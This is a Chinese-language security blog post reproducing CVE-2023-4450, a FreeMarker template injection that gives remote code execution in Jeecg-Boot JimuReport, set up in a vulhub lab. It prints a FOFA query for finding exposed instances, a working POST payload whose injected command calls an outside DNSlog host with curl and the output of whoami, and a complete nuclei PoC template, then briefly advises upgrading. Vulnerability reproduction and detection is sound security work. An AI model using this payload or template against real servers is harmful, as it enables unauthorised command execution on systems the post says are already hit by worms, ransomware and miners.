CVE-2023-4450

CVE-2023-4450

原创 fgz AI与网安 2024-02-13 12:20





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

该漏洞已被黑客武器化,用于大规模蠕虫传播、勒索挖矿。但nuclei官方还没有提供POC。

01

漏洞名称

Jeecg-Boot JimuReport queryFieldBySql 模板注入漏洞

02

漏洞影响

JimuReport < 1.6.1

03

漏洞描述

JimuReport采用纯Web在线技术,支持多种数据源,如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞,攻击者可构造恶意请求触发模板注入,造成远程代码执行。2023年8月15日,官方发布更新修复相关漏洞。

04

FOFA搜索语句

title="Jeecg-Boot"

CVE-2023-4450 -1

05

靶场搭建

下载或更新vulhub源码

https://github.com/vulhub/vulhub

将代码上传到靶场虚拟机,并解压

unzip vulhub.zip

然后进入漏洞目录

cd vulhub/jeecg-boot/CVE-2023-4450

启动靶场镜像

docker compose up -d

CVE-2023-4450 -2

容器启动完成之后能看到有总共有三个容器

CVE-2023-4450 -3

在服务启动后,可访问如下路径
查看JimuReport页面。

http://192.168.40.130:8080/jeecg-boot/jmreport/list

CVE-2023-4450 -4

06

漏洞复现

这个漏洞没有回显,利用DNSlog复现,先注册一个账户http://dnslog.pw/dns

然后复制payload到下面数据包中

CVE-2023-4450 -5

最终向靶场发送如下数据包

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

{
  "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

DNSlog看到访问记录

CVE-2023-4450 -6

漏洞复现成功

07

nuclei poc

poc文件内容如下

id: CVE-2023-4450

info:
  name: Jeecg-Boot JimuReport queryFieldBySql 模板注入漏洞
  author: fgz
  severity: critical
  description: JimuReport采用纯Web在线技术,支持多种数据源,如Oracle, MySQL, SQLServer, PostgreSQL等主流的数据库。2023年互联网上披露其存在模板注入漏洞,攻击者可构造恶意请求触发模板注入,造成远程代码执行。
  metadata:
    max-request: 1
    fofa-query: title="Jeecg-Boot"
    verified: true
requests:
  - raw:
      - |+
        POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
        Host: {{Hostname}}
        User-Agent: curl/7.88.1
        Accept: */*
        Content-Type: application/json
        Content-Length: 121
        Connection: close

        {
          "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl {{interactsh-url}}\")}",
          "type": "0"
        }

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and

运行POC

nuclei.exe -t mypoc/cve/CVE-2023-4450.yaml -u http://192.168.40.130:8080/

CVE-2023-4450 -7

08

修复建议

升级到最新版本。